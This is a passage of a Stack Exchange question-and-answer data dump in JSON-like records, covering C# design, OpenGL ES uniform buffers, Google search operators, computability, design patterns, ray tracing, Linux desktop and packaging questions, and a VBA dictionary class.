get { return person.Forename; }        set { person.Forename = value; }    }    public string FamilyName    {        get { return person.Surname; }        set { person.Surname = value; }    }    public string FirstName    {        get { return person.Forename; }        set { person.Forename = value; }    }    public string LastName    {        get { return person.Surname; }        set { person.Surname = value; }    }    public BillingDepartmentPerson(Person person)    {        this.person = person;    }    // Billing department specific behavior goes here}And so can the Shipping Department:public class ShippingDepartmentPerson{    private readonly Person person;    public string Title    {        get { return person.Title; }        set { person.Title = value; }    }    public string Forename    {        get { return person.Forename; }        set { person.Forename = value; }    }    public string MiddleNames    {        get { return person.MiddleNames; }        set { person.MiddleNames = value; }    }    public string Surname    {        get { return person.Surname; }        set { person.Surname = value; }    }    public ShippingDepartmentPerson(Person person)    {        this.person = person;    }    // Shipping department specific behavior goes here}Yes, there is some repetition of code, but now you have a way of encapsulating the organization area specific functionality and separate it from the common, enterprise wide functionality in the Person class.It also means you can't accidentally invoke operations specific to the billing department in the context of the shipping department. It gives you a nice Separation of Concerns so refactoring these different areas can be isolated, and the effects of any refactoring jobs can be limited in scope (see also the Open/Closed Principal).Paul commented:if this had been VB.NET, it wouldn't have been a problem, I could have used an interface and aliased all the member names. But it isn't!... in VB.NET I can do something like: Public Function x() As Boolean Implements IY.a. I haven't seen anything in C# to allow this.C# does:public class MyItems : IEnumerable<int>{    public IEnumerator<int> GetEnumerator()    {        throw new NotImplementedException();    }    // Implement an interface method explicitly    System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator()    {        throw new NotImplementedException();    }}VB.NET and C# compile down to the same exact MSIL code that gets executed in the same exact Common Language Runtime.C# and VB.NET, as long as you compare Visual Studio and .NET framework versions, support the same features."  } 
{  "id": "_softwareengineering.177245"  , "question": "In my project, I have a collection of classes. These classes for the most part contain data which is updated infrequently or not at all - that is they don't really do much - their purpose is to be passed around consumer objects that do do things, seperating data from functionality.I would like to continue this model, by allowing the user to treat them as such - i.e. they can be serialised/deserialised with no special code, can easily be used to compose larger classes, subclassed, etc.The catch is, as many control things like the GPU, they aren't really decoupled or stateless at all, because for every one there are a whole load of resources that need to be created and disposed of during the life of the application - but the user doesn't need to worry about that.I would like to know the preferred way to attach all the information to the simple object in a way that is safe, maintains the illusion of statelessness, but is also clear to anyone else looking at the code what is going on (also, the objects are defined in different assemblies).Q. Why not just put A in B and pass around Object B?A. Because the user creates Object A, and works with Object A only, and shouldn't need to know Object B exists at all.Q. Why not use factories and create Object C?A. Because then Assembly A can't contain classes composed of a whole load of Object-A-like-objects (because the factory would be defined in Assembly B so they wouldn't be able to be instantiated).Q. Then how is Object B created?A. Object B is created and populated on demand, when Object A is passed to a method that needs it.Note - I know this problem isn't 'hard' and there are many ways to do it (at the moment I have an abstract member added to all of them which is casted in the consumer and it works OK), I just want some new ideas/opinions on what is the best way - what would you like to see if you inherited the code?"  , "title": "What is the best way to compose an object with components across two assemblies?"  , "tags": "c#;design patterns"  } 
{  "id": "_webapps.37707"  , "question": "Games on Facebook (such as Bejewelled Blitz, Diamond Dash) that I have been playing for a long time (and played this morning) now won't load. Clicking on a name makes the page jump to the Facebook sign-in page, but it keeps going in and out, flashing the log in page on and off. I have gone and clicked Facebook in my favorites bar to get it back to the news feed page.Any suggestions?"  , "title": "Games on Facebook keep sending me to the sign in page"  , "tags": "facebook;facebook games"  } 
{  "id": "_computerscience.4454"  , "question": "I'm trying to load an array of float to a fragment shader using a uniform buffer object, but it doesn't work.In the fragment shader I declared the following uniform block:/// Spectrum samples.const int samples = 31;layout(std140) uniform SpectralDataBlock {    float illuminant[samples];    float object[samples];};Then on client side in my C++ code:float illuminant[31] = {    82.754900,91.486000,93.431800,86.682300,104.865000,117.008000,117.812000,114.861000,115.923000,108.811000,109.354000,    107.802000,104.790000,107.689000,104.405000,104.046000,100.000000,96.334200,95.788000,88.685600,90.006200,89.599100,    87.698700,83.288600,83.699200,80.026800,80.214600,82.277800,78.284200,69.721300,71.609100};float object[31] = {    0.051, 0.05, 0.049, 0.049, 0.049, 0.049, 0.048, 0.047, 0.045, 0.044,    0.044, 0.044, 0.044, 0.044, 0.045, 0.047, 0.05, 0.057, 0.072, 0.109,    0.192, 0.332, 0.486, 0.598, 0.654, 0.686, 0.7, 0.707, 0.718, 0.724,    0.729};std::copy(illuminant, illuminant + 31, spectralData);std::copy(object, object + 31, spectralData + 31);blockId = glGetUniformBlockIndex(program, SpectralDataBlock);glUniformBlockBinding(program, blockId, bindingPoint);glGetActiveUniformBlockiv(program, blockId, GL_UNIFORM_BLOCK_DATA_SIZE, &blockSize);glGenBuffers(1, &bufferId);glBindBuffer(GL_UNIFORM_BUFFER, bufferId);glBufferData(GL_UNIFORM_BUFFER, blockSize, spectralData, GL_DYNAMIC_DRAW);glBindBufferBase(GL_UNIFORM_BUFFER, bindingPoint, bufferId);Unfortunately, the data doesn't get correctly loaded. Are there any limitation in OpenGL ES the prevent to use float[] in an uniform buffer object? Are there any error in my code above?"  , "title": "OpenGL ES 3 - Uniform buffer object with float array"  , "tags": "opengl es;uniform buffer object"  , "accepted_answer": "Let's review what the specification says about std140 layout of arrays:If the member is an array of scalars or vectors, the base alignment and array stride are set to match the base alignment of a single array element, according to rules (1), (2), and (3), and rounded up to the base alignment of a vec4. The array may have padding at the end; the base offset of the member following the array is rounded up to the next multiple of the base alignment.Emphasis added.So, if you have an array of float, the array stride shall be the same as the base alignment of a vec4. Also, each array will be padded at the end to the base alignment of a vec4. Yes, a float[] takes up the same room as a vec4[] of the same size.Welcome to the wonderful world of std140 layout.If you want to have a real array of floats in a UBO... well, it's best to avoid wanting that. But if you have absolutely no other choice, then I suggest making it an array of vec4. Obviously, the size of this array will be the size you actually want, divided by 4 and rounded up:const int samples = 31;const int arraySize = ((samples + 3) / 4);To fetch a single float from this array, use math:arrayOfVec4[index / 4][index % 4]Note that OpenGL ES 3.0 does allow non-constant array indexing of vec and mat types. It also allows the integer operations needed to pull this off."  } 
{  "id": "_webmaster.107456"  , "question": "Why do I get different results when I search Google for our site?No space used.site:www.av-iq.com produces 747,000 resultsSpace after product.site: www.av-iq.com produces 17,000,000 results"  , "title": "Different results in searching Google site: using a space or not?"  , "tags": "google"  , "accepted_answer": "As you have found, these are two different searches. As per the Google help docs:Dont put spaces between the symbol or word and your search term. A search for site:nytimes.com will work, but site: nytimes.com won't.Without the space, the site: operator is applied to the stated domain, so only results within that domain are returned.Whereas, when space separated, you now have two search phrases site: and www.example.com. And the search clearly returns results from multiple websites, not limited to the stated domain. All sites that simply reference www.example.com (and many variations of) are returned in the search results.The results are even more exaggerated when literally using the example.com domain.No space used: site:www.example.com - no results!Space after operator: site: www.example.com - 1,142,000,000 results."  } 
{  "id": "_cs.30205"  , "question": "Is the cardinality of the set of partially recursive functions greater than the cardinality of the set of recursive functions ?"  , "title": "Are there more partially recursive functions than and recursive functions?"  , "tags": "computability;combinatorics"  , "accepted_answer": "No they have the same cardinality. They have the cardinality $\\aleph_0$. Both sets are infinite in size so we have to compare them based on their level of infiniteness, since as we know there are infinite levels of infinity. Both sets are countably infinite so we say they have the same cardinality.To expand on this and show why this is the case:  The set of partially recursive functions are infinite by design. Also they are computable, so by the Church-Turing thesis they are solvable by a Turing machine. Since there are only countably infinite Turing machines there can only be countably infinite partial recursive functions. The same argument can be used on the set of recursive functions."  } 
{  "id": "_softwareengineering.234942"  , "question": "I've been confused for a while about the differences between the patterns Factory Method and Abstract Factory. Been doing a lot of research, still confused.I have one question:Is the only difference between the two patterns, is that Factory Method produces one object, and Abstract Factory produces a family of objects? Or are there more differences?I read a lot on this site and the web about this, only confused me more. I know how to use the patterns, but am having trouble differentiating between the two."  , "title": "Differentiating between Factory Method and Abstract Factory"  , "tags": "design;design patterns;factory method"  , "accepted_answer": "A factory method is essentially just a constructor with another name. This can be useful e.g. to guarantee correct initialization, registration, or to supply default values without having to subclass the product:private List<WeakReference<Product>> products = ...;public Product makeProduct(Param x) {    Product instance = new Product(x, default value);    instance.initialize(42);    products.add(new WeakReference<>(instance));    return instance;}An abstract factory pattern is usually implemented in terms of factory methods, but here the aim is to leave the concrete type unspecified until runtime. So we have a set of products:interface Product {}class ConcreteProduct1 implements Product {}class ConcreteProduct2 implements Product {}And we have an abstract factory:interface Factory {    public Product makeProduct();}Such a factory might be used by client code: factory.makeProduct(). Which concrete product is used is delayed to runtime.class ConcreteFactory1 implements Factory {    public Product makeProduct() { return new ConcreteProduct1(); }}class ConcreteFactory2 implements Factory {    public Product makeProduct() { return new ConcreteProduct2(); }}Typically, an abstract factory will have multiple factory methods for a set of related types, you can think of a factory instance as a theme. Abstract factories are also useful for dependency injection.The factory method pattern is a combination of factory methods with the strategy pattern. Here the idea is that our class needs to create some instance, but will let subclasses override the choice of the instance. In other words, the client and the factory are the same.class DomainSpecificStuff {    public doDomainSpecificStuff() {        Product p = this.makeProduct();        p.frobnicate();    }    protected makeProduct() {        return new  ConcreteProduct1();    }}class OtherDomainSpecificStuff {    @Override    protected makeProduct() {        return new ConcreteProduct2();    }}So the strategy pattern allows for limited dependency injection through the use of inheritance when used as the FMP.So what are the useful distinctions between the factory method pattern and abstract factory pattern?Client: The client of the factory method in the FMP is the factory itself  it's just a spin on the strategy pattern, after all. The client of the AFP is some other class.Number of Objects: Typically, the FMP will only have a single factory method, whereas the AFP can be used to produce multiple related objects. It is not the case that an AFP must have at least two factory methods, although the creation of related, interdependent objects is where the AFP shines.Intent: The AFP is a collection of related factory methods which can be passed around in client code. The FMP allows subclasses to swap out a dependency."  } 
{  "id": "_computergraphics.5057"  , "question": "In my real time ray tracer, I shoot primary rays from the eye, and at hit points, I trace to a single light source to determine if the object is shadowed or lit.Pretty straightforward stuff so far.However I have recently added perfect mirrors to my scene.The reflections work just fine.However, the shadow calculation breaks down!A shadowed point could still be lit by the light source via a mirror.Is there an easy way to handle shadow rays towards bounced light?NOTE: I am not talking about the projection visible in the mirror surface: this shows shadowed and lit objects. But the directly visible scene itself, there are more shadowed objects than there should be, as some of the scene is lit via a mirror."  , "title": "Tracing shadow rays in a scene with mirrors"  , "tags": "raytracing;shadow;reflection"  , "accepted_answer": "It depends how you define easy and what kind of constraints you have. The general case of this is rendering caustics but that's probably not what you're looking for if real time is your target.If your mirrors are always flat as in your demo and you only want to support a single bounce, the easiest I can see would be to reflect your light sources on the other side of the mirror's plane, before you start a frame. Let's call each reflection a virtual light source. Then for each of these, test if the ray between whatever you're shading and the virtual light source hits inside the mirror (simple plane/ray test). If it does hit then you trace the actual shadow ray to the mirror and the rest of the shadow ray from the mirror to the actual light source.This obviously won't scale well to many mirrors. I think it could be adapted to 2-3 bounces if the mirror and light count is low. The number of virtual lights could quickly grow out of hand though."  } 
{  "id": "_unix.33315"  , "question": "Possible Duplicate:What does etc stand for? What does it mean? All I can think is etcetera. By my teacher told me that there is a more appropriate meaning. "  , "title": "What is the meaning of /etc (as acronym)"  , "tags": "etc"  } 
{  "id": "_codereview.8358"  , "question": "I'm fairly new to Python and currently building a small application to record loans of access cards to people in a company. I'm using wxPython for the GUI and SQLAlchemy for the CRUD. I'm loosely following Mike Driscoll's tutorial for a similar application but I want to add some extra things that he hasn't implemented (he has most controls in the same window, but I'm passing things a lot between dialogues and windows and it's starting to look messy).Particularly concerned about the following method in dialogs.py:def OnCardReturn(self, event):        Call the controller and get back a list of objects. If only one object    return then set that loan as returned. If none returned then error, no    loans currently on that card. If more than one returned something has     gone wrong somewhere, but present a list of the loans against that card    for the user to pick the correct one to return.        value = self.txtInputGenericNum.GetValue()    loans = controller.getQueriedRecords(self.session, card, value)    #returns a list of objects    numLoans = len(loans)    if numLoans == 1:        controller.returnLoan(self.session, value)    #returns nothing        successMsg = Card  + str(value) +  has been marked as returned        showMessageDlg(successMsg, Success!)    elif numLoans == 0:        failureMsg = Card  + str(value) +  is not currently on loan        showMessageDlg(failureMsg, Failed, flag=error)    elif numLoans > 1:        failureMsg =         More than one loan for  + str(value) +  exists. Please select        the correct loan to return from the next screen.                showMessageDlg(failureMsg, Failed, flag=error)        selectReturnLoan = DisplayList(parent=self, loanResults=loans,                                                        returnCard=True)        selectReturnLoan.ShowModal()        selectReturnLoan.Destroy()The controller is still under construction, so no complete code yet, but I've commented in what is returned by the calls to it so it's still possible to see what the functionality is."  , "title": "Recording loans of access cards to people in a company"  , "tags": "python;beginner;mvc"  } 
{  "id": "_unix.36998"  , "question": "I'm using latexmk -pdf -pvc to keep compiling my LaTeX files to PDFs while they are displayed in evince. I'm doing that a lot with different files and I keep needing to zoom the PDF content, resize the window and enable always on top. I like to be able to do this automatically using the command line.Using -geometry doesn't work with evince (Unknown option) and the command line help doesn't say anything about it as well. I tried the preview -w option which gives me a nice sized window, but the automatic update feature I need seems to be disabled in this mode. I'm using Ubuntu 11.10 with the classic desktop and the default window manager.Is there a possibility to set both the size and position as well as always on top from the command line for evince (or similar PDF viewer with auto-update)? I think there might be some window manager control tool which can resize and configure windows from the command line.I'm aware of an evince feature request to add size and position arguments, which would be half the job already, but I don't think it will be implemented soon."  , "title": "Open PDF previewer width specific size and position and always on top from command line"  , "tags": "gnome;pdf;window;evince;metacity"  , "accepted_answer": "Since evince lacks options to explicitly control its own window management (as do most applications), the next approach is to control evince externally from the window manager itself.  Assuming GNOME with metacity as the window manager, you'll have to use devilspie to get the window matching features.Install devilspie from your official Ubuntu repositories.Configure latexmk to use evince --name LaTeX_evince (instead of the default which is evince).  This distinguishes your LaTeX evince windows from other evince windows.Configure devilspie by adding the following to ~/.devilspie/latex_evince.ds (if (matches (window_class) ^LaTeX_evince)     (begin         (above)         (geometry <width>x<height>+<x>+<y>)))Replace the geometry string with one for the actual size and positionyou want.  Caveat: syntax not tested by me.Add devilspie to your autostarted application list under Applications >  Preferences > Session.MiscellanyA good devilspie reference.Apparently in the next Ubuntu release, devilspie will be deprecated in favor of devilspie2.  You'll have to update your configuration file syntax then."  } 
{  "id": "_codereview.143737"  , "question": "The idea behind this problem is to represent a configuration of 8 queens with a one-dimensional array. So a[0] represents the first row, a[1] the second row etc. and a[row]=column position, where column position represents the row position of the queen.Is there anything I can improve?#include <iostream>#include <math.h>using namespace std;int main() {    int a[7];    int m, b, i=0, x, y, k=0, c,u;    for(u=0; u<8; u++){        cin>>a[u];    }    for(m=0; m<7; m++){        for(b=m+1; b<=7; b++){            if(a[m]==a[b]) i++;        }    }       for(x=0; x<7; x++){        c=0;        for(y=x+1; y<=7; y++){            c++;            if(abs(a[x]-a[y])==c) k++;        }    }    if(i==0 && k==0) cout<<valid;    else cout<<invalid;}"  , "title": "Eight queens in C++"  , "tags": "c++;chess"  } 
{  "id": "_webapps.83018"  , "question": "A faculty member accidentally created 2 profiles and has citations in both of them. How can the profiles be merged so that there is one profile with all the citations?"  , "title": "How to merge 2 Google Scholar profile, each with citations"  , "tags": "google scholar"  } 
{  "id": "_softwareengineering.133973"  , "question": "I'm working on a client library to interface with my company's api, and we generate a user ticket when the user logs in using the api.  Obviously I don't want to send the user ticket to the client for resubmission on subsequent requests - is it (relatively) safe for me to cache this value in $_SESSION for later calls?"  , "title": "How safe is it to cache a user ticket in SESSION"  , "tags": "php;api;authentication"  , "accepted_answer": "I don't see why it wouldn't be. The biggest consideration that I can see is you don't want your data being clobbered by the other code that is using the session. My common practice in this instance is to create a session key of __{$company_name} and store all of my bits there. This drastically reduces the chance that some other code will nuke my session variables."  } 
{  "id": "_unix.25642"  , "question": "I am writing a Ruby script inside which I would like to invoke/execute some shell commands.The shell commands I would like to run should check if a directory named 'tmp' under /var/lib/mysql/ exists or not.if it exists, remove all the files (including sub-dirs & files) inside /var/lib/mysql/tmp/. If it does not exist, just create it.(P.S. only root user can access /var/lib/mysql/)I know mkdir will create directory, but I am not sure how to make a command to check if the directory exists or not. As a whole, I would like to have some shell commands to achieve the scenario described above, and the more elegant way the better, as I will run the shell commands in a ruby script.Anyone can Help me ?"  , "title": "shell commands to check & create dir"  , "tags": "shell;directory;rm"  } 
{  "id": "_cs.23662"  , "question": "The original problem of Domino Tiling and Wang Tile has great theoretical interest on computability theory... However, the great emerging problem on application of Wang Tile in material science and physics requires the tiling to satisfy one more condition:The tiling should satisfy some proportionality, say, Tile 1 should appear with frequency 1/16, Tile 2 with frequency 9/16, Tile 3 with 6/16, Tile 4 with frequency 0...The most important decision problem is the following:Could a given set of Tile tile a grid of size NxN satisfying the frequency constraint within a error of +-epsilon.For example: could the set {Tile 1, Tile 2, Tile 3, Tile 4} tile the NxN grid with frequency 1/16+-0.01, 9/16+-0.01, 6/16+-0.01, 0+-0.01 respectively....From one of my previous post:Algorithms for NP complete problemI realize the decision problem of tiling without such constraint could be modeled by SAT... With this constraint the problem becomes ridiculously difficult and I eagerly seek for solutions towards this finite decidable problem.... (we could forget epsilon for a moment if the problem with epsilon is too hard)...So here is the question: how do we model this problem in MIP or SAT or any other optimization algorithm?For more detail why this problem is practical in material science and physics, see my previous post:coloring in latticereference for wang tileComputational approach deciding whether a set of Wang Tile could tile the space up to some sizeP.S. this is a bounty question from mathoverflow without yet a applicable solution...Application of Combinatorics, Logic and computability theory in physical science: Tiling of Wang Tile with proportionality"  , "title": "Application of Combinatorics, Logic and computability theory in physical science: Tiling of Wang Tile with proportionality"  , "tags": "complexity theory;optimization;logic;satisfiability"  , "accepted_answer": "Use a SAT solver that also allows you to express pseudo-Boolean constraints.Encoding the verification of the existence of the tiling of an NxN grid as a CNF formula is straightforward.  Each grid position will have a set of variables associated with it of which only one will be set true if a particular tile occupies that position.  Add clauses that force exactly one of each set of variables to be set true.  Add other clauses that demand grid neighbors be the correct sort of tile out of the available choices.The epsilon requirement means requiring that only a fixed number of the grid position variables for each tile type be set true, or that the number set be within a certain range.  This is complicated by the fact that the naive expression of such constraints in CNF takes a number of clauses exponential in the number of variables involved.  There are more efficient encodings that involve adder and comparison circuits, but a solver that accepts pseudo-Boolean constraints directly will either work without such encodings or will save you the trouble of creating these circuit encodings yourself."  } 
{  "id": "_unix.42406"  , "question": "I am using yaourt to automatically compile Apache from source every time theres an update available from extra. I am doing this so that I can have a custom suexec docroot (/srv/www rather than the default /srv/http). This has worked flawlessly for several updates, until now.$ yaourt -S apache==> Building apache from sources.==> Retrieving PKGBUILD and local sources...receiving file list ... done./PKGBUILDapache.conf.dapache.installapache.tmpfiles.confapachectl-confd.patcharch.layouthttpdhttpd.logrotatepcre_info.patchsent 199 bytes  received 10416 bytes  7076.67 bytes/sectotal size is 9809  speedup is 0.92=> removes/replaces '--with-suexec-docroot=\\/srv\\/http' by '--with-suexec-docroot=\\/srv\\/www' in global--- ./PKGBUILD  2012-07-06 00:02:13.000000000 -0400+++ ./PKGBUILD.custom   2012-07-06 15:49:03.000000000 -0400@@ -102,7 +102,7 @@            --enable-so \\            --enable-suexec \\            --with-suexec-caller=http \\-           --with-suexec-docroot=/srv/http \\+           --with-suexec-docroot=/srv/www \\            --with-suexec-logfile=/var/log/httpd/suexec.log \\            --with-suexec-bin=/usr/sbin/suexec \\            --with-suexec-uidmin=99 --with-suexec-gidmin=99 \\==> Edit PKGBUILD ? [y/N] (A to abort)==> ------------------------------------==> n==> apache dependencies: - openssl (already installed) - zlib (already installed) - apr-util (already installed) - pcre (already installed)==> Edit apache.install ? [y/N] (A to abort)==> ------------------------------------------==> n==> Continue building apache ? [Y/n]==> --------------------------------==> ==> Building and installing package==> Making package: apache 2.2.22-4 (Thu Jul  5 14:47:33 EDT 2012)==> Checking runtime dependencies...==> Checking buildtime dependencies...==> Retrieving Sources...  -> Downloading httpd-2.2.22.tar.bz2...  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                 Dload  Upload   Total   Spent    Left  Speed100 5252k  100 5252k    0     0  93231      0  0:00:57  0:00:57 --:--:-- 93283  -> Downloading httpd-2.2.22.tar.bz2.asc...  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                 Dload  Upload   Total   Spent    Left  Speed100   835  100   835    0     0   5191      0 --:--:-- --:--:-- --:--:-- 10437  -> Downloading 02-rename-prefork-to-itk.patch...  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                 Dload  Upload   Total   Spent    Left  Speed  0     0    0     0    0     0      0      0 --:--:--  0:01:06 --:--:--     0curl: (7)     couldn't connect to host==> ERROR: Failure while downloading 02-rename-prefork-to-itk.patch    Aborting...==> ERROR: Makepkg was unable to build apache.==> Restart building apache ? [y/N]==> -------------------------------==> The problem seems to be that curl cant find 02-rename-prefork-to-itk.patch. I dont know what URL thats located at, in what file its specified, or how I might find an alternate location for it. Any idea what is going on/how to troubleshoot?"  , "title": "Arch Linux: Yaourt/Makepkg Can Not Build Apache"  , "tags": "arch linux;apache httpd;pacman;yaourt"  , "accepted_answer": "The host where some patches are located is down. But we can change it to another one.First. Just download the PKGBUILD with yaourt:yaourt -G apacheChange the following lines in PKGBUILD:_itkurl=http://mpm-itk.sesse.net/apache2.2-mpm-itk-2.2.17-01To:_itkurl=http://distfiles.alpinelinux.org/distfiles/Also, the patch 03-add-mpm-to-build-system.patch has a different md5, so we fix it. Just change the 4th line in the array md5sums'cdfa04985a0efa850976aef01c2a0c40'To:'131408ad4dc7b18547b4e062e7e495ab'The working PKGBUILD is here: http://pastebin.com/iK48xx8fYou can just replace it, if you want. And build apache with:makepkg -i"  } 
{  "id": "_unix.335938"  , "question": "I'm trying to generate a frequency count of each unique line in a file and apply that count to EACH line. The solutions I have seen using uniq rationalise >1 frequencies to one line.In other words, with the solutions I have seen up to now:bananabananaorangebananabecomes3 banana1 orangeWhat I WANT to see, however, is:3 banana3 banana1 orange3 bananaSo basically I don't want any fiddling around with the original lines, just the frequency count added. Any ideas ?"  , "title": "Count frequency of occurrence of each line and apply to each line"  , "tags": "uniq"  } 
{  "id": "_webmaster.20273"  , "question": "Can you transfer a national domain (like .pl) to a foreign registrar, one that does not actually offer buying that type of domain?"  , "title": "Transfer a national domain to foreign registrar?"  , "tags": "transfer"  } 
{  "id": "_unix.226880"  , "question": "Is there any way to archive a folder and keep the owners and permissions intact? I'm doing a backup of some files, which I want to move using a usb-stick, which has a FAT filesystem. So the idea was to keep all this information and file setting within an archive.I know that the -p option for tar keeps the permissions, but still not the ownership."  , "title": "How do I archive a folder keeping owners and permissions intact?"  , "tags": "permissions;tar;file copy"  , "accepted_answer": "tar's default mode is to preserve ownership and permissions on archive creation; I don't believe there's even an option not to store the data. When you extract an archive, if you're a normal user, the default is to use stored permissions minus the umask and set the owner to whoever's extracting; if you're superuser, the default is to use stored permissions and ownership verbatim. There are options to control how these metadata are restored on extraction (see the man page)."  } 
{  "id": "_codereview.45666"  , "question": "This class encapsulates a List<KeyValuePair> (see List<T> implementation here, and KeyValuePair implementation here) and exposes a richer set of members than the typical Scripting.Dictionary, ..not to mention the anemic Collection class.The class enforces some type safety, in the sense that if you add a KeyValuePair<String, Integer>, then you'll only be allowed to add KeyValuePair<String, Integer> instances, the object will raise an error if you try adding, say, a KeyValuePair<String, Control>, or anything that's not a KeyValuePair<String, Integer>.The OptionStrict property enables allowing more flexibility and adding a KeyValuePair<String, Byte> to a Dictionary<String, Integer>, for example (but not the opposite).As with the List<T> implementation, this class uses procedure attributes (not shown) which make the Item property the default property (so myDictionary(i) returns the value at index i), and the NewEnum property enables iterating all values with a For Each loop construct.Private Type tDictionary    Encapsulated As List    TKey As String    IsRefTypeKey As Boolean    TValue As String    IsRefTypeValue As BooleanEnd TypePrivate Enum DictionaryErrors    TypeMismatchUnsafeType = vbObjectError + 1001End EnumPrivate this As tDictionaryOption ExplicitPrivate Sub Class_Initialize()    Set this.Encapsulated = New List    this.Encapsulated.OptionStrict = TrueEnd SubPrivate Sub Class_Terminate()    Set this.Encapsulated = NothingEnd SubPublic Property Get Count() As Long    Count = this.Encapsulated.CountEnd PropertyPublic Property Get Keys() As List    Dim result As New List    Dim kvp As KeyValuePair    result.OptionStrict = this.Encapsulated.OptionStrict    For Each kvp In this.Encapsulated        result.Add kvp.Key    Next    Set Keys = resultEnd PropertyPublic Property Get Values() As List    Dim result As New List    Dim kvp As KeyValuePair    result.OptionStrict = this.Encapsulated.OptionStrict    For Each kvp In this.Encapsulated        result.Add kvp.value    Next    Set Values = resultEnd PropertyPublic Property Get OptionStrict() As Boolean    OptionStrict = this.Encapsulated.OptionStrictEnd PropertyPublic Property Let OptionStrict(value As Boolean)    this.Encapsulated.OptionStrict = valueEnd PropertyPrivate Function ToKeyValuePair(k As Variant, v As Variant) As KeyValuePair    Dim result As New KeyValuePair    If IsObject(k) Then        Set result.Key = k    Else        result.Key = k    End If    If IsObject(v) Then        Set result.value = v    Else        result.value = v    End If    Set ToKeyValuePair = resultEnd FunctionPublic Property Get Item(k As Variant) As Variant    Dim i As Long    i = Keys.IndexOf(k)    If i = -1 Then Err.Raise 9 'index out of range    If this.IsRefTypeValue Then        Set Item = Values(i)    Else        Item = Values(i)    End IfEnd PropertyPublic Property Set Item(k As Variant, v As Variant)    Dim kvp As KeyValuePair    Dim i As Long    i = Keys.IndexOf(k)    If i <> -1 Then        Set kvp = ToKeyValuePair(k, v)        Set this.Encapsulated(i) = kvp    Else        Add k, v    End IfEnd PropertyPublic Property Let Item(k As Variant, v As Variant)    Dim kvp As KeyValuePair    Dim i As Long    i = Keys.IndexOf(k)    If i <> -1 Then        Set kvp = ToKeyValuePair(k, v)        Set this.Encapsulated(i) = kvp    Else        Add k, v    End IfEnd PropertyPublic Sub Add(k As Variant, v As Variant)    Dim kvp As KeyValuePair    Set kvp = ToKeyValuePair(k, v)    If Keys.Contains(k) Then Err.Raise 457 'key already exists    If ValidateItemType(kvp, ThrowOnUnsafeType:=True) Then this.Encapsulated.Add kvpEnd SubPrivate Function ValidateItemType(kvp As KeyValuePair, Optional ThrowOnUnsafeType As Boolean = False) As Boolean    If this.TKey = vbNullString And this.TValue = vbNullString Then        this.TKey = TypeName(kvp.Key)        this.IsRefTypeKey = IsObject(kvp.Key)        this.TValue = TypeName(kvp.value)        this.IsRefTypeValue = IsObject(kvp.value)    End If    ValidateItemType = IsTypeSafe(kvp)    If ThrowOnUnsafeType And Not ValidateItemType Then RaiseErrorUnsafeType ValidateItemType(), kvp.ToStringEnd FunctionPublic Function IsTypeSafe(kvp As KeyValuePair) As Boolean'Determines whether a value can be safely added to the List.    IsTypeSafe = (this.TKey = vbNullString Or this.TKey = TypeName(kvp.Key)) _             And (this.TValue = vbNullString Or this.TValue = TypeName(kvp.value))    If IsTypeSafe Then Exit Function    Select Case this.TKey        Case String:            IsTypeSafe = IsSafeKeyString(kvp.Key)            If IsTypeSafe Then kvp.Key = CStr(kvp.Key)        Case Boolean            IsTypeSafe = IsSafeKeyBoolean(kvp.Key)            If IsTypeSafe Then kvp.Key = CBool(kvp.Key)        Case Byte:            IsTypeSafe = IsSafeKeyByte(kvp.Key)            If IsTypeSafe Then kvp.Key = CByte(kvp.Key)        Case Date:            IsTypeSafe = IsSafeKeyDate(kvp.Key)            If IsTypeSafe Then kvp.Key = CDate(kvp.Key)        Case Integer:            IsTypeSafe = IsSafeKeyInteger(kvp.Key)            If IsTypeSafe Then kvp.Key = CInt(kvp.Key)        Case Long:            IsTypeSafe = IsSafeKeyLong(kvp.Key)            If IsTypeSafe Then kvp.Key = CLng(kvp.Key)        Case Single            IsTypeSafe = IsSafeKeySingle(kvp.Key)            If IsTypeSafe Then kvp.Key = CSng(kvp.Key)        Case Double:            IsTypeSafe = IsSafeKeyDouble(kvp.Key)            If IsTypeSafe Then kvp.Key = CDbl(kvp.Key)        Case Currency:            IsTypeSafe = IsSafeKeyCurrency(kvp.Key)            If IsTypeSafe Then kvp.Key = CCur(kvp.Key)        Case Else:            IsTypeSafe = False    End Select    If Not IsTypeSafe Then Exit Function    Select Case this.TValue        Case String:            IsTypeSafe = IsSafeValueString(kvp.value)            If IsTypeSafe Then kvp.value = CStr(kvp.value)        Case Boolean            IsTypeSafe = IsSafeValueBoolean(kvp.value)            If IsTypeSafe Then kvp.value = CBool(kvp.value)        Case Byte:            IsTypeSafe = IsSafeValueByte(kvp.value)            If IsTypeSafe Then kvp.value = CByte(kvp.value)        Case Date:            IsTypeSafe = IsSafeValueDate(kvp.value)            If IsTypeSafe Then kvp.value = CDate(kvp.value)        Case Integer:            IsTypeSafe = IsSafeValueInteger(kvp.value)            If IsTypeSafe Then kvp.value = CInt(kvp.value)        Case Long:            IsTypeSafe = IsSafeValueLong(kvp.value)            If IsTypeSafe Then kvp.value = CLng(kvp.value)        Case Single            IsTypeSafe = IsSafeValueSingle(kvp.value)            If IsTypeSafe Then kvp.value = CSng(kvp.value)        Case Double:            IsTypeSafe = IsSafeValueDouble(kvp.value)            If IsTypeSafe Then kvp.value = CDbl(kvp.value)        Case Currency:            IsTypeSafe = IsSafeValueCurrency(kvp.value)            If IsTypeSafe Then kvp.value = CCur(kvp.value)        Case Else:            IsTypeSafe = False    End SelectErrHandler:    'swallow overflow errors:    If Err.number = 6 Then        Err.Clear        Resume Next    ElseIf Err.number <> 0 Then        RaiseErrorUnsafeType IsTypeSafe(), kvp.ToString    End IfEnd FunctionPrivate Function IsSafeKeyString(value As Variant) As Boolean    On Error Resume Next    IsSafeKeyString = (this.TKey = vbNullString Or this.TKey = TypeName(value))    If IsSafeKeyString Or OptionStrict Then Exit Function    Dim result As Boolean    result = CStr(value)    IsSafeKeyString = (Err.number = 0)    Err.Clear    On Error GoTo 0End FunctionPrivate Function IsSafeKeyDate(value As Variant) As Boolean    On Error Resume Next    IsSafeKeyDate = (this.TKey = vbNullString Or this.TKey = TypeName(value))    If IsSafeKeyDate Or OptionStrict Then Exit Function    Dim result As Boolean    result = CDate(value)    IsSafeKeyDate = (Err.number = 0)    'If this.OptionTrace And IsSafeKeyString(Value) Then Debug.Print TRACE: IsSafeKeyDate( & CStr(Value) & ) :  & IsSafeKeyDate    Err.Clear    On Error GoTo 